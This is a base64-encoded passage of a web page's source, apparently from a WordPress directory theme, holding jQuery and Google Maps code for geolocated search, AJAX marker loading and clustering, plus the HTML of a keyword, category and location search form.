Y3Rpb24ocG9zaXRpb24pIHsKCgkJCQlnZW9JbnB1dExhdC52YWwocG9zaXRpb24uY29vcmRzLmxhdGl0dWRlKTsKCQkJCWdlb0lucHV0TG5nLnZhbChwb3NpdGlvbi5jb29yZHMubG9uZ2l0dWRlKTsKCgkJCQllbmFibGVHZW8oKTsKCgkJCQlpZihzZWFyY2guZGF0YSgnaW50ZXJhY3RpdmUnKSA9PSAneWVzJyl7CgkJCQkJYWpheEdldE1hcmtlcnModHJ1ZSxmYWxzZSk7CgkJCQl9IGVsc2UgewoJCQkJCWhpZGVMb2FkaW5nKCk7CgkJCQl9CgoJCQl9LCBmdW5jdGlvbihlcnJvcil7CgkJCQlkaXNhYmxlR2VvKCk7CgkJCQloaWRlTG9hZGluZygpOwoJCQl9KTsKCQl9IGVsc2UgewoJCQlkaXNhYmxlR2VvKCk7CgkJCWhpZGVMb2FkaW5nKCk7CgkJfQoKCX0gZWxzZSB7CgoJCWlmKHNlYXJjaC5kYXRhKCdpbnRlcmFjdGl2ZScpID09ICd5ZXMnKXsKCQkJYWpheEdldE1hcmtlcnModHJ1ZSxmYWxzZSk7CgkJfQoKCX0KCn0pOwoKZnVuY3Rpb24gYWpheEdldE1hcmtlcnMoYWpheCxnZW9sb2MscmV3cml0ZUNhdGVnb3J5LHJld3JpdGVMb2NhdGlvbixyZXNldCkgewoKCXNob3dMb2FkaW5nKCk7CgoJcmFkaXVzID0gbmV3IEFycmF5KCk7CgoJdmFyIGNhdGVnb3J5ID0gMDsKCXZhciBsb2NhdGlvbiA9IDA7Cgl2YXIgc2VhcmNoID0gJyc7Cgl2YXIgbG9jYWxlID0gJ2VuJzsKCglpZihhamF4KXsKCQlpZihyZXdyaXRlQ2F0ZWdvcnkpewoJCQljYXRlZ29yeSA9IHJld3JpdGVDYXRlZ29yeTsKCQl9IGVsc2UgewoJCQljYXRlZ29yeSA9ICQoJyNkaXItc2VhcmNoaW5wdXQtY2F0ZWdvcnktaWQnKS52YWwoKTsKCQl9CgkJaWYocmV3cml0ZUxvY2F0aW9uKXsKCQkJbG9jYXRpb24gPSByZXdyaXRlTG9jYXRpb247CgkJfSBlbHNlIHsKCQkJbG9jYXRpb24gPSAkKCcjZGlyLXNlYXJjaGlucHV0LWxvY2F0aW9uLWlkJykudmFsKCk7CgkJfQoJCXNlYXJjaCA9ICQoJyNkaXItc2VhcmNoaW5wdXQtdGV4dCcpLnZhbCgpOwoKCQl2YXIgYWpheEdlbyA9ICQoJyNkaXItc2VhcmNoaW5wdXQtZ2VvJykuYXR0cigiY2hlY2tlZCIpOwoKCQlpZihhamF4R2VvICYmICFyZXNldCl7CgkJCXZhciBpbnB1dFJhZGl1cyA9IGdlb0lucHV0UmFkaXVzLnZhbCgpOwoJCQlpZighaXNOYU4oaW5wdXRSYWRpdXMpKXsKCQkJCXJhZGl1cy5wdXNoKHBhcnNlSW50KGlucHV0UmFkaXVzKSk7CgkJCX0gZWxzZSB7CgkJCQlnZW9JbnB1dFJhZGl1cy52YWwoZ2VvSW5wdXRSYWRpdXMuZGF0YSgnZGVmYXVsdC12YWx1ZScpKTsKCQkJCXJhZGl1cy5wdXNoKHBhcnNlSW50KGdlb0lucHV0UmFkaXVzLmRhdGEoJ2RlZmF1bHQtdmFsdWUnKSkpOwoJCQl9CgkJCXJhZGl1cy5wdXNoKHBhcnNlRmxvYXQoZ2VvSW5wdXRMYXQudmFsKCkpKTsKCQkJcmFkaXVzLnB1c2gocGFyc2VGbG9hdChnZW9JbnB1dExuZy52YWwoKSkpOwoJCX0KCX0gZWxzZSB7CgkJaWYocmVzZXQpewoJCQljYXRlZ29yeSA9IHBhcnNlSW50KG1hcERpdi5kYXRhKCdjYXRlZ29yeScpKTsKCQkJbG9jYXRpb24gPSBwYXJzZUludChtYXBEaXYuZGF0YSgnbG9jYXRpb24nKSk7CgkJCXNlYXJjaCA9IG1hcERpdi5kYXRhKCdzZWFyY2gnKTsKCQl9IGVsc2UgewoJCQlpZihnZW9sb2MpewoJCQkJcmFkaXVzLnB1c2gocGFyc2VJbnQoKSk7CgkJCQlyYWRpdXMucHVzaChnZW9sb2MubGF0KCkpOwoJCQkJcmFkaXVzLnB1c2goZ2VvbG9jLmxuZygpKTsKCgkJCQljYXRlZ29yeSA9IHBhcnNlSW50KG1hcERpdi5kYXRhKCdjYXRlZ29yeScpKTsKCQkJCWxvY2F0aW9uID0gcGFyc2VJbnQobWFwRGl2LmRhdGEoJ2xvY2F0aW9uJykpOwoJCQkJc2VhcmNoID0gbWFwRGl2LmRhdGEoJ3NlYXJjaCcpOwoJCQl9CgkJfQoJfQoJLy8gZ2V0IGl0ZW1zIGZyb20gYWpheAoJJC5wb3N0KAoJCS8vIE15QWpheCBkZWZpbmVkIGluIGZ1bmN0aW9ucy5waHAKCQlNeUFqYXguYWpheHVybCwKCSAgICB7CgkgICAgICAgIGFjdGlvbiA6ICdnZXRfaXRlbXMnLAoJICAgICAgICBjYXRlZ29yeSA6IGNhdGVnb3J5LAoJICAgICAgICBsb2NhdGlvbiA6IGxvY2F0aW9uLAoJICAgICAgICBzZWFyY2ggOiBzZWFyY2gsCgkgICAgICAgIHJhZGl1cyA6IHJhZGl1cywKCSAgICAgICAgd3BtbF9sYW5nIDogbG9jYWxlCgkgICAgfSwKCSAgICBmdW5jdGlvbiggcmVzcG9uc2UgKSB7CgkgICAgCS8vIHNob3cgcmVzZXQgYWpheCBidXR0b24KCSAgICAJaWYoKCFyZXNldCkgJiYgKCFnZW9sb2MpICYmICgkKCcjZGlyZWN0b3J5LXNlYXJjaCcpLmRhdGEoJ2ludGVyYWN0aXZlJykgPT0gJ3llcycpKXsKCSAgICAJCSQoJyNkaXJlY3Rvcnktc2VhcmNoIC5yZXNldC1hamF4Jykuc2hvdygpOwoJICAgIAl9CgkgICAgCWlmKGFqYXhHZW8gJiYgIXJlc2V0KXsKCSAgICAJCXZhciBhamF4R2VvT2JqID0gbmV3IGdvb2dsZS5tYXBzLkxhdExuZyhwYXJzZUZsb2F0KGdlb0lucHV0TGF0LnZhbCgpKSxwYXJzZUZsb2F0KGdlb0lucHV0TG5nLnZhbCgpKSk7CgkgICAgCQlnZW5lcmF0ZU1hcmtlcnMocmVzcG9uc2UsYWpheEdlb09iaix0cnVlKTsKCSAgICAJfSBlbHNlIHsKCSAgICAJCWdlbmVyYXRlTWFya2VycyhyZXNwb25zZSxnZW9sb2MpOwoJICAgIAl9CgkgICAgfQoJKQoJLmZhaWwoZnVuY3Rpb24oZSkgeyBjb25zb2xlLmxvZygiQUpBWCBFUlJPUiIsIGUpOyB9KTsKfQoKZnVuY3Rpb24gZ2VuZXJhdGVNYXJrZXJzKGRhdGFSYXcsZ2VvbG9jLGFqYXhHZW8pIHsKCgkvLyBjbGVhciBtYXAKCWluZm9ib3guY2xvc2UoKTsKCW1hcERpdi5nbWFwMyh7IGNsZWFyOiB7IH0gfSk7CgoJbWFwLnNldFpvb20oMTApOwoKCXZhciBsZW4gPSAkLm1hcChkYXRhUmF3LCBmdW5jdGlvbihuLCBpKSB7IHJldHVybiBpOyB9KS5sZW5ndGg7CgoJdmFyIGkgPSAwOwoJLy8gcHJlcGFyZSBkYXRhCgl2YXIgZGF0YSA9IG5ldyBBcnJheSgpOwoJZm9yKHZhciBrZXkgaW4gZGF0YVJhdyl7CgkJaWYgKCEoZGF0YVJhd1trZXldLm9wdGlvbnNEaXJbJ2dwc0xhdGl0dWRlJ10gPT0gIjAiICYmIGRhdGFSYXdba2V5XS5vcHRpb25zRGlyWydncHNMb25naXR1ZGUnXSA9PSAiMCIpKSB7CgkJCXZhciByYXRpbmcgPSAnJzsKCQkJaWYoZGF0YVJhd1trZXldLnJhdGluZyl7CgkJCQlyYXRpbmcgKz0gJzxkaXYgY2xhc3M9InJhdGluZyI+JzsKCQkJCWZvciAodmFyIGogPSAxOyBqIDw9IGRhdGFSYXdba2V5XS5yYXRpbmdbJ21heCddOyBqKyspIHsKCQkJCQlyYXRpbmcgKz0gJzxkaXYgY2xhc3M9InN0YXInOwoJCQkJCWlmKGogPD0gZGF0YVJhd1trZXldLnJhdGluZ1sndmFsJ10pIHsKCQkJCQkJcmF0aW5nICs9ICcgYWN0aXZlJzsKCQkJCQl9CgkJCQkJcmF0aW5nICs9ICciPjwvZGl2Pic7CgkJCQl9CgkJCQlyYXRpbmcgKz0gJzwvZGl2Pic7CgkJCX0KCgkJCXZhciB0aHVtYkNvZGUgPSAoZGF0YVJhd1trZXldLnRpbXRodW1iVXJsKSA/ICcgd2l0aC1pbWFnZSI+PGltZyBzcmM9IicrZGF0YVJhd1trZXldLnRpbXRodW1iVXJsKyciIGFsdD0iIiAvPicgOiAnIj4nOwoJCQlkYXRhW2ldID0gewoJCQkJbGF0TG5nOiBbZGF0YVJhd1trZXldLm9wdGlvbnNEaXJbJ2dwc0xhdGl0dWRlJ10sZGF0YVJhd1trZXldLm9wdGlvbnNEaXJbJ2dwc0xvbmdpdHVkZSddXSwKCQkJCW9wdGlvbnM6IHsKCQkJCQlpY29uOiBkYXRhUmF3W2tleV0ubWFya2VyLAoJCQkJCXNoYWRvdzogImh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2ltZy9tYXAtaWNvbi9pY29uLXNoYWRvdy5wbmciLAoJCQkJfSwKCQkJCWRhdGE6ICc8ZGl2IGNsYXNzPSJtYXJrZXItaG9sZGVyIj48ZGl2IGNsYXNzPSJtYXJrZXItY29udGVudCcrdGh1bWJDb2RlKyc8ZGl2IGNsYXNzPSJtYXAtaXRlbS1pbmZvIj48ZGl2IGNsYXNzPSJ0aXRsZSI+JytkYXRhUmF3W2tleV0ucG9zdF90aXRsZSsnPC9kaXY+JytyYXRpbmcrJzxkaXYgY2xhc3M9ImFkZHJlc3MiPicrZGF0YVJhd1trZXldLm9wdGlvbnNEaXJbImFkZHJlc3MiXSsnPC9kaXY+PGEgaHJlZj0iJytkYXRhUmF3W2tleV0ubGluaysnIiBjbGFzcz0ibW9yZS1idXR0b24iPlZJRVcgTU9SRTwvYT48L2Rpdj48ZGl2IGNsYXNzPSJhcnJvdyI+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+JwoJCQl9OwoJCQlpKys7CgkJfQogICAgfQoKICAgIC8vIHNob3cgZ2VvbG9jIG1hcmtlcgogICAgaWYoZ2VvbG9jKXsKICAgIAltYXBEaXYuZ21hcDMoewoJCQltYXJrZXI6IHsKICAgIAkJCWxhdExuZzogZ2VvbG9jLAogICAgCQkJb3B0aW9uczogewogICAgCQkJCWFuaW1hdGlvbjogZ29vZ2xlLm1hcHMuQW5pbWF0aW9uLkRST1AsCiAgICAJCQkJekluZGV4OiAxMDAwLAogICAgCQkJCWljb246ICJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9pbWcvZ2VvbG9jYXRpb24tcGluLnBuZyIKICAgIAkJCX0KICAgIAkJfQogICAgCX0pOwoJfQoKCS8vIGdlbmVyYXRlIG1hcmtlcnMgaW4gbWFwCgl2YXIgbWFwT2JqID0gewoJCW1hcmtlcjogewoJCQl2YWx1ZXM6IGRhdGEsCgkJCW9wdGlvbnM6ewoJCQkJZHJhZ2dhYmxlOiBmYWxzZQoJCQl9LAoJCQljbHVzdGVyOnsKCQkJCXJhZGl1czogMjAsCgkJCQkvLyBUaGlzIHN0eWxlIHdpbGwgYmUgdXNlZCBmb3IgY2x1c3RlcnMgd2l0aCBtb3JlIHRoYW4gMCBtYXJrZXJzCgkJCQkwOiB7CgkJCQkJY29udGVudDogIjxkaXYgY2xhc3M9J2NsdXN0ZXIgY2x1c3Rlci0xJz5DTFVTVEVSX0NPVU5UPC9kaXY+IiwKCQkJCQl3aWR0aDogOTAsCgkJCQkJaGVpZ2h0OiA4MAoJCQkJfSwKCQkJCS8vIFRoaXMgc3R5bGUgd2lsbCBiZSB1c2VkIGZvciBjbHVzdGVycyB3aXRoIG1vcmUgdGhhbiAyMCBtYXJrZXJzCgkJCQkyMDogewoJCQkJCWNvbnRlbnQ6ICI8ZGl2IGNsYXNzPSdjbHVzdGVyIGNsdXN0ZXItMic+Q0xVU1RFUl9DT1VOVDwvZGl2PiIsCgkJCQkJd2lkdGg6IDkwLAoJCQkJCWhlaWdodDogODAKCQkJCX0sCgkJCQkvLyBUaGlzIHN0eWxlIHdpbGwgYmUgdXNlZCBmb3IgY2x1c3RlcnMgd2l0aCBtb3JlIHRoYW4gNTAgbWFya2VycwoJCQkJNTA6IHsKCQkJCQljb250ZW50OiAiPGRpdiBjbGFzcz0nY2x1c3RlciBjbHVzdGVyLTMnPkNMVVNURVJfQ09VTlQ8L2Rpdj4iLAoJCQkJCXdpZHRoOiA5MCwKCQkJCQloZWlnaHQ6IDgwCgkJCQl9LAoJCQkJZXZlbnRzOiB7CgkJCQkJY2xpY2s6IGZ1bmN0aW9uKGNsdXN0ZXIpIHsKCQkJCQkJbWFwLnBhblRvKGNsdXN0ZXIubWFpbi5nZXRQb3NpdGlvbigpKTsKCQkJCQkJbWFwLnNldFpvb20obWFwLmdldFpvb20oKSArIDIpOwoJCQkJCX0KCQkJCX0KICAgICAgICAgIAl9LAoJCQlldmVudHM6IHsKCQkJCWNsaWNrOiBmdW5jdGlvbihtYXJrZXIsIGV2ZW50LCBjb250ZXh0KXsKCQkJCQltYXAucGFuVG8obWFya2VyLmdldFBvc2l0aW9uKCkpOwoKCQkJCQlpbmZvYm94LnNldENvbnRlbnQoY29udGV4dC5kYXRhKTsKCQkJCQlpbmZvYm94Lm9wZW4obWFwLG1hcmtlcik7CgoJCQkJCS8vIGlmIG1hcCBpcyBzbWFsbAoJCQkJCXZhciBpV2lkdGggPSAyNjA7CgkJCQkJdmFyIGlIZWlnaHQgPSAzMDA7CgkJCQkJaWYoKG1hcERpdi53aWR0aCgpIC8gMikgPCBpV2lkdGggKXsKCQkJCQkJdmFyIG9mZnNldFggPSBpV2lkdGggLSAobWFwRGl2LndpZHRoKCkgLyAyKTsKCQkJCQkJbWFwLnBhbkJ5KG9mZnNldFgsMCk7CgkJCQkJfQoJCQkJCWlmKChtYXBEaXYuaGVpZ2h0KCkgLyAyKSA8IGlIZWlnaHQgKXsKCQkJCQkJdmFyIG9mZnNldFkgPSAtKGlIZWlnaHQgLSAobWFwRGl2LmhlaWdodCgpIC8gMikpOwoJCQkJCQltYXAucGFuQnkoMCxvZmZzZXRZKTsKCQkJCQl9CgoJCQkJfQoJCQl9CgkJfQoJfTsKCglpZihnZW9sb2MpewoJCWlmKGFqYXhHZW8pewoJCQl2YXIgaW5wdXRSYWRpdXMgPSBnZW9JbnB1dFJhZGl1cy52YWwoKTsKCQkJaWYoIWlzTmFOKGlucHV0UmFkaXVzKSl7CgkJCQl2YXIgcmFkaXVzSW5NID0gcGFyc2VJbnQoZ2VvSW5wdXRSYWRpdXMudmFsKCkpICogMTAwMDsKCQkJfSBlbHNlIHsKCQkJCXZhciByYWRpdXNJbk0gPSBwYXJzZUludChnZW9JbnB1dFJhZGl1cy5kYXRhKCdkZWZhdWx0LXZhbHVlJykpICogMTAwMDsKCQkJfQoJCQkvLyBhdXRvZml0IGJ5IGNpcmNsZQoJCQltYXBPYmouY2lyY2xlID0gewoJCQkJb3B0aW9uczogewoJCQkJCWNlbnRlcjogZ2VvbG9jLAoJCQkJCXJhZGl1cyA6IHJhZGl1c0luTSwKCQkJCQl2aXNpYmxlIDogdHJ1ZSwKCQkJCQlmaWxsT3BhY2l0eSA6IDAuMTUsCgkJCQkJZmlsbENvbG9yIDogIiMyYzgyYmUiLAoJCQkJCXN0cm9rZUNvbG9yIDogIiMyYzgyYmUiCgkJCQl9CgkJCX0KCQl9IGVsc2UgewoJCQl2YXIgcmFkaXVzSW5NID0gcGFyc2VJbnQoKSAqIDEwMDA7CgkJCS8vIGF1dG9maXQgYnkgY2lyY2xlCgkJCW1hcE9iai5jaXJjbGUgPSB7CgkJCQlvcHRpb25zOiB7CgkJCQkJY2VudGVyOiBnZW9sb2MsCgkJCQkJcmFkaXVzIDogcmFkaXVzSW5NLAoJCQkJCXZpc2libGUgOiBmYWxzZSwKCQkJCQlmaWxsT3BhY2l0eSA6IDAuMTUsCgkJCQkJZmlsbENvbG9yIDogIiMyYzgyYmUiLAoJCQkJCXN0cm9rZUNvbG9yIDogIiMyYzgyYmUiCgkJCQl9CgkJCX0KCQl9Cgl9CgoJaGlkZUxvYWRpbmcoKTsKCgltYXBEaXYuZ21hcDMoIG1hcE9iaiwgImF1dG9maXQiICk7CgoJaWYobGVuID09IDEgJiYgIWdlb2xvYyl7CgkJbWFwLnNldFpvb20oMTApOwoJfQoKfQoKZnVuY3Rpb24gZ2VuZXJhdGVPbmx5R2VvKGxhdCxsbmcscmFkaXVzKSB7Cgl2YXIgZ2VvbG9jID0gbmV3IGdvb2dsZS5tYXBzLkxhdExuZyhwYXJzZUZsb2F0KGxhdCkscGFyc2VGbG9hdChsbmcpKTsKCS8vIGdlbmVyYXRlIGdlbyBwaW4KCW1hcERpdi5nbWFwMyh7CgkJbWFya2VyOiB7CgkJCWxhdExuZzogZ2VvbG9jLAoJCQlvcHRpb25zOiB7CgkJCQlhbmltYXRpb246IGdvb2dsZS5tYXBzLkFuaW1hdGlvbi5EUk9QLAoJCQkJekluZGV4OiAxMDAwLAoJCQkJaWNvbjogImh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2ltZy9nZW9sb2NhdGlvbi1waW4ucG5nIgoJCQl9CgkJfQoJfSk7CgkvLyBnZW5lcmF0ZSBhbmQgYXV0b2ZpdCBieSBjaXJjbGUKCXZhciBtYXBPYmogPSB7fTsKCXZhciByYWRpdXNJbk0gPSBwYXJzZUludChyYWRpdXMpICogMTAwMDsKCS8vIGF1dG9maXQgYnkgY2lyY2xlCgltYXBPYmouY2lyY2xlID0gewoJCW9wdGlvbnM6IHsKCQkJY2VudGVyOiBnZW9sb2MsCgkJCXJhZGl1cyA6IHJhZGl1c0luTSwKCQkJdmlzaWJsZSA6IHRydWUsCgkJCWZpbGxPcGFjaXR5IDogMC4xNSwKCQkJZmlsbENvbG9yIDogIiMyYzgyYmUiLAoJCQlzdHJva2VDb2xvciA6ICIjMmM4MmJlIgoJCX0KCX0KCW1hcERpdi5nbWFwMyggbWFwT2JqLCAiYXV0b2ZpdCIgKTsKfQoKdmFyIGNvbnRlbnREaXYgPSAkKCcjbWFpbiAjY29udGVudCcpOwp2YXIgY3VyckNvbnRlbnQgPSBjb250ZW50RGl2Lmh0bWwoKTsKdmFyIGFqYXhDb250ZW50OwoKZnVuY3Rpb24gZ2VuZXJhdGVDb250ZW50KGRhdGEpIHsKCgl2YXIgbGVuZ3RoID0gJC5tYXAoZGF0YSwgZnVuY3Rpb24obiwgaSkgeyByZXR1cm4gaTsgfSkubGVuZ3RoOwoKCWNvbnRlbnREaXYuZmluZCgnLmFqYXgtY29udGVudCcpLnJlbW92ZSgpOwoJdmFyIHRpdGxlOwoJaWYobGVuZ3RoID09IDApewoJCXRpdGxlID0gJCgnPGhlYWRlciBjbGFzcz0iZW50cnktaGVhZGVyIj48L2hlYWRlcj4nKTsKCX0gZWxzZSB7CgkJdGl0bGUgPSAkKCc8aGVhZGVyIGNsYXNzPSJlbnRyeS1oZWFkZXIiPjwvaGVhZGVyPicpOwoJfQoKCXZhciBodG1sOwoJaWYobGVuZ3RoID4gMCl7CgkJaHRtbCA9ICQoJzx1bCBjbGFzcz0iaXRlbXMiPjwvdWw+Jyk7Cgl9Cgl2YXIgbGltaXQgPSAzMDsKCWlmKGxpbWl0ID4gbGVuZ3RoKSB7CgkJbGltaXQgPSBsZW5ndGg7Cgl9Cgl2YXIgaSA9IDA7Cglmb3IodmFyIGtleSBpbiBkYXRhKXsKCQl2YXIgdGh1bWJuYWlsSHRtbDsKCQlpZihkYXRhW2tleV0udGltdGh1bWJVcmxDb250ZW50KXsKCQkJdmFyIHRodW1ibmFpbEh0bWwgPSAnPGRpdiBjbGFzcz0idGh1bWJuYWlsIj48aW1nIHNyYz0iJytkYXRhW2tleV0udGltdGh1bWJVcmxDb250ZW50KyciIGFsdD0iSXRlbSB0aHVtYm5haWwiIC8+PGRpdiBjbGFzcz0iY29tbWVudC1jb3VudCI+JytkYXRhW2tleV0uY29tbWVudF9jb3VudCsnPC9kaXY+PC9kaXY+JzsKCQl9IGVsc2UgewoJCQl0aHVtYm5haWxIdG1sID0gJyc7CgkJfQoJCXZhciByYXRpbmcgPSAnJzsKCQlpZihkYXRhW2tleV0ucmF0aW5nKXsKCQkJcmF0aW5nICs9ICc8c3BhbiBjbGFzcz0icmF0aW5nIj4nOwoJCQlmb3IgKHZhciBpID0gMTsgaSA8PSBkYXRhW2tleV0ucmF0aW5nWydtYXgnXTsgaSsrKSB7CgkJCQlyYXRpbmcgKz0gJzxzcGFuIGNsYXNzPSJzdGFyJzsKCQkJCWlmKGkgPD0gZGF0YVtrZXldLnJhdGluZ1sndmFsJ10pIHsKCQkJCQlyYXRpbmcgKz0gJyBhY3RpdmUnOwoJCQkJfQoJCQkJcmF0aW5nICs9ICciPjwvc3Bhbj4nOwoJCQl9CgkJCXJhdGluZyArPSAnPC9zcGFuPic7CgkJfQoJCXZhciBkZXNjcmlwdGlvbkh0bWwgPSAnPGRpdiBjbGFzcz0iZGVzY3JpcHRpb24iPicrZGF0YVtrZXldLmV4Y2VycHREaXIrJzwvZGl2Pic7CgkJaHRtbC5hcHBlbmQoJzxsaSBjbGFzcz0iaXRlbSBjbGVhciI+Jyt0aHVtYm5haWxIdG1sK2Rlc2NyaXB0aW9uSHRtbCsnPC9saT4nKTsKCQlpZihpIDw9IGxpbWl0KXsKCQkJaSsrOwoJCX0gZWxzZSB7CgkJCWJyZWFrOwoJCX0KCX07CglhamF4Q29udGVudCA9ICQoJzxkaXYgY2xhc3M9ImFqYXgtY29udGVudCI+PC9kaXY+JykuaHRtbCh0aXRsZSkuYXBwZW5kKGh0bWwpOwoJY29udGVudERpdi5maW5kKCc+JykuaGlkZSgpOwoJY29udGVudERpdi5hcHBlbmQoYWpheENvbnRlbnQpOwp9CgovLyByZXNldCBzZWFyY2ggYWpheCB2YWx1ZXMKJCgnI2RpcmVjdG9yeS1zZWFyY2ggLnJlc2V0LWFqYXgnKS5jbGljayhmdW5jdGlvbiAoKSB7CgoJLy8gZ2V0IGRlZmF1bHQgdmFsdWVzCglhamF4R2V0TWFya2VycyhmYWxzZSxmYWxzZSxmYWxzZSxmYWxzZSx0cnVlKTsKCgoJJCgnI2Rpci1zZWFyY2hpbnB1dC10ZXh0JykudmFsKCIiKTsKCS8vIGZvciBJRQoJJCgnc3Bhbi5mb3ItZGlyLXNlYXJjaGlucHV0LXRleHQgbGFiZWwnKS5zaG93KCk7CgoJJCgnI2Rpci1zZWFyY2hpbnB1dC1sb2NhdGlvbicpLnZhbCgiIik7CgkkKCcjZGlyLXNlYXJjaGlucHV0LWxvY2F0aW9uLWlkJykudmFsKCIwIik7CgkvLyBmb3IgSUUKCSQoJ3NwYW4uZm9yLWRpci1zZWFyY2hpbnB1dC1jYXRlZ29yeSBsYWJlbCcpLnNob3coKTsKCgkkKCcjZGlyLXNlYXJjaGlucHV0LWNhdGVnb3J5JykudmFsKCIiKTsKCSQoJyNkaXItc2VhcmNoaW5wdXQtY2F0ZWdvcnktaWQnKS52YWwoIjAiKTsKCS8vIGZvciBJRQoJJCgnc3Bhbi5mb3ItZGlyLXNlYXJjaGlucHV0LWxvY2F0aW9uIGxhYmVsJykuc2hvdygpOwoKCSQoJyNkaXItc2VhcmNoaW5wdXQtZ2VvJykuYXR0cignY2hlY2tlZCcsZmFsc2UpOwoJJCgnZGl2LmlwaG9uZS1zdHlsZVtyZWw9ZGlyLXNlYXJjaGlucHV0LWdlb10nKS5yZW1vdmVDbGFzcygnb24nKS5hZGRDbGFzcygnb2ZmJyk7CgoJLy9nZW9JbnB1dFJhZGl1cy52YWwoZ2VvSW5wdXRSYWRpdXMuZGF0YSgnZGVmYXVsdC12YWx1ZScpKTsKCgkvLyBoaWRlIGNsb3NlIGljb24KCSQodGhpcykuaGlkZSgpOwp9KTsKfSk7Cjwvc2NyaXB0PgoJCQk8ZGl2IGlkPSJkaXJlY3Rvcnktc2VhcmNoIiBkYXRhLWludGVyYWN0aXZlPSJubyI+CgkJCQk8ZGl2IGNsYXNzPSJkZWZhdWx0Q29udGVudFdpZHRoIGNsZWFyZml4Ij4KCQkJCQk8Zm9ybSBhY3Rpb249Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8iIGlkPSJkaXItc2VhcmNoLWZvcm0iIG1ldGhvZD0iZ2V0IiBjbGFzcz0iZGlyLXNlYXJjaGZvcm0iPgoJCQkJCQk8ZGl2IGlkPSJkaXItc2VhcmNoLWlucHV0cyI+CgkJCQkJCQk8ZGl2IGlkPSJkaXItaG9sZGVyIj4KCQkJCQkJCQk8ZGl2IGNsYXNzPSJkaXItaG9sZGVyLXdyYXAiPgoJCQkJCQkJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzIiBpZD0iZGlyLXNlYXJjaGlucHV0LXRleHQiIHBsYWNlaG9sZGVyPSJTZWFyY2gga2V5d29yZC4uLiIgY2xhc3M9ImRpci1zZWFyY2hpbnB1dCIgLz4KCgkJCQkJCQkJPGRpdiBpZD0iZGlyLXNlYXJjaGlucHV0LXNldHRpbmdzIiBjbGFzcz0iZGlyLXNlYXJjaGlucHV0LXNldHRpbmdzIj4KCQkJCQkJCQkJPGRpdiBjbGFzcz0iaWNvbiI+PC9kaXY+CgkJCQkJCQkJCTxkaXYgaWQ9ImRpci1zZWFyY2gtYWR2YW5jZWQiIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+CgkJCQkJCQkJCQk8ZGl2IGNsYXNzPSJ0ZXh0Ij5TZWFyY2ggYXJvdW5kIG15IHBvc2l0aW9uPC9kaXY+CgkJCQkJCQkJCQk8ZGl2IGNsYXNzPSJ0ZXh0LWdlby1yYWRpdXMgY2xlYXIiPgoJCQkJCQkJCQkJCTxkaXYgY2xhc3M9Imdlby1yYWRpdXMiPlJhZGl1czo8L2Rpdj4KCQkJCQkJCQkJCQk8ZGl2IGNsYXNzPSJtZXRyaWMiPmttPC9kaXY+CgkJCQkJCQkJCQkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Imdlby1yYWRpdXMiIGlkPSJkaXItc2VhcmNoaW5wdXQtZ2VvLXJhZGl1cyIgdmFsdWU9IjEwMCIgZGF0YS1kZWZhdWx0LXZhbHVlPSIxMDAiIC8+CgkJCQkJCQkJCQk8L2Rpdj4KCQkJCQkJCQkJCTxkaXYgY2xhc3M9Imdlby1zbGlkZXIiPgoJCQkJCQkJCQkJCTxkaXYgY2xhc3M9InZhbHVlLXNsaWRlciI+PC9kaXY+CgkJCQkJCQkJCQk8L2Rpdj4KCQkJCQkJCQkJCTxkaXYgY2xhc3M9Imdlby1idXR0b24iPgoJCQkJCQkJCQkJCTxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iZ2VvIiBpZD0iZGlyLXNlYXJjaGlucHV0LWdlbyIgLz4KCQkJCQkJCQkJCTwvZGl2PgoJCQkJCQkJCQkJPGRpdiBpZD0iZGlyLXNlYXJjaC1hZHZhbmNlZC1jbG9zZSI+PC9kaXY+CgkJCQkJCQkJCTwvZGl2PgoJCQkJCQkJCTwvZGl2PgoJCQkJCQkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Imdlby1sYXQiIGlkPSJkaXItc2VhcmNoaW5wdXQtZ2VvLWxhdCIgdmFsdWU9IjAiIC8+CgkJCQkJCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZ2VvLWxuZyIgaWQ9ImRpci1zZWFyY2hpbnB1dC1nZW8tbG5nIiB2YWx1ZT0iMCIgLz4KCgkJCQkJCQkJPGlucHV0IHR5cGU9InRleHQiIGlkPSJkaXItc2VhcmNoaW5wdXQtY2F0ZWdvcnkiIHBsYWNlaG9sZGVyPSJBbGwgY2F0ZWdvcmllcyIgLz4KCQkJCQkJCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY2F0ZWdvcmllcyIgaWQ9ImRpci1zZWFyY2hpbnB1dC1jYXRlZ29yeS1pZCIgdmFsdWU9IjAiIHN0eWxlPSJkaXNwbGF5OiBub25lOyIgLz4KCgkJCQkJCQkJPGlucHV0IHR5cGU9InRleHQiIGlkPSJkaXItc2VhcmNoaW5wdXQtbG9jYXRpb24iIHBsYWNlaG9sZGVyPSJBbGwgbG9jYXRpb25zIiAvPgoJCQkJCQkJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJsb2NhdGlvbnMiIGlkPSJkaXItc2VhcmNoaW5wdXQtbG9jYXRpb24taWQiIHZhbHVlPSIwIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiIC8+CgoJCQkJCQkJCTxkaXYgY2xhc3M9InJlc2V0LWFqYXgiPjwvZGl2PgoJCQkJCQkJCTwvZGl2PgoJCQkJCQkJPC9kaXY+CgkJCQkJCTwvZGl2PgoKCQkJCQkJPGRpdiBpZD0iZGlyLXNlYXJjaC1idXR0b24iPgoJCQkJCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNlYXJjaCIgY2xhc3M9ImRpci1zZWFyY2hzdWJtaXQiIC8+CgkJCQkJCTwvZGl2PgoJCQkJCQk8aW5wdXQgdHlwZT0iaGlkZ